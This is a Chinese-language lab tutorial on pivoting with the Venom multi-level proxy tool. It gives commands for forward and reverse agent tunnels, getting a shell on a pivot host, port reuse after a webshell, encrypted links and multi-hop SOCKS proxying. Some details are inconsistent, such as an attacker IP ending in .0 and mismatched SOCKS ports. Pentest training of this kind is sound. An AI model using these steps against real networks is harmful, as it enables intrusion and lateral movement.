一、Venom简介
Venom工具也被称为“毒液工具”,它是一款开源的多级代理工具,使用Go语言开发,支持多种平台。Venom可以将多个节点进行连接,并以节点为跳板构建多级代理搭建网络隧道,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网管理代理节点,利用"毒液"进行可视化网络拓扑、多级Socks5代理、多级端口转发、端口复用(Apache、Mysql等服务)、SSH隧道、交互式Shell、文件的上传和下载、节点间通信加密等。
网络拓扑如下:
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
二、基础使用
2.1 正向连接
应用场景:当拿下Web服务器权限后,通过探测发现Web服务器不出网,但能正常访问主机,可以使用venom工具以正向连接的方式搭建隧道进行渗透。
1、跳板机开启客户端监听。
agent.exe -lport 8888 # 监听8888端口
2、kali使用admin
服务端发起连接。
./admin_linux_x64 -rhost 192.168.111.128 -rport 8888
# -rhost:指向远程连接ip
# -rport:指连接的端口
show # 显示网络拓扑
goto 1 # 选择结点1,也就是跳板机
shell # 获取结点1的shell
2.2 反向连接
1、kali本地监听8888端口;
./admin_linux_x64 -lport 8888
2、跳板机主动发起连接kali监听的8888端口,建立起隧道通讯。
agent.exe -rhost 192.168.111.0 -rport 8888
3、此时服务端会接收建立隧道信息,使用show命令可以显示网络拓扑。
2.3 端口复用
应用场景:假设上传webshell后,Web服务器只有80端口的开放http服务可以利用,下面我们通过venom工具的SO_REUSEPORT
和SO_REUSEADDR
选项进行端口复用,Windows服务器下复用apache中间件的http服务80端口,不影响http服务正常使用。
1、上传 agent文件到Web服务器命令,设置80端口的复用。
agent.exe -lhost 192.168.111.128 -reuse-port 80
2、kali使用admin服务端执行下面的命令,来进行端口复用。
./admin_linux_x64 -rhost 192.168.111.128 -rport 80
2.4 加密通信(反向连接)
Venom
工具支持隧道通信加密,对通讯数据进行加密保护,本地通过-passwd
参数选项指定密码进行设置,密码用于生成AES加密所需的密钥。
1、kali使用venom工具服务端执行以下命令,为隧道进行加密。
./admin_linux_x64 -lport 8888 -passwd Admin123.
2、跳板机使用venom工具客户端agent文件,指定相同的密码与服务端admin连接,执行以下命令,成功即可达到隧道节点通讯加密的效果。
agent.exe -rhost 192.168.111.0 -rport 8888 -passwd Admin123.
3、kali与跳板机之间建立了加密隧道。
三、多层网络穿透
网络拓扑如下:
攻击机kali IP:192.168.111.0
跳板机1 win7 IP:192.168.111.128,192.168.52.143
跳板机2 win server 2008 IP:192.168.52.138,192.168.48.129
靶机win server 2003 IP:192.168.48.128
1、在跳板机上开启本地客户端监听,我们以正向连接的方式搭建隧道。
agent.exe -lport 8888
2、kali使用venom服务端进行正向连接,show
查看连接情况,如果有A—1,证明客户端连接成功。
./admin_linux_x64 -rhost 192.168.111.128 -rport 8888
# -rhost:跳板机IP
# -rport:跳板机监听端口
3、在跳板机1与kali之间建立socks隧道。
goto 1
socks 4444
4、kali修改proxychains4.conf
配置文件,并在其底部添加一行socks5 127.0.0.1 1024
参数来完成proxychains
代理配置。
5、当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.138
命令来连接跳板机2,通过所建立的socks协议隧道,我们可以直接远程连接到跳板机2。
6、将agent.exe
上传到跳板机2上,同时监听4444端口。
agent.exe -lport 4444
7、kali进入结点1(跳板机1),连接靶机
goto 1
connect 192.168.52.138 4444 # 靶机IP及监听的端口
8、在跳板机2与kali之间建立socks隧道。
8、通过socks5隧道,ping通靶机(192.168.48.128)。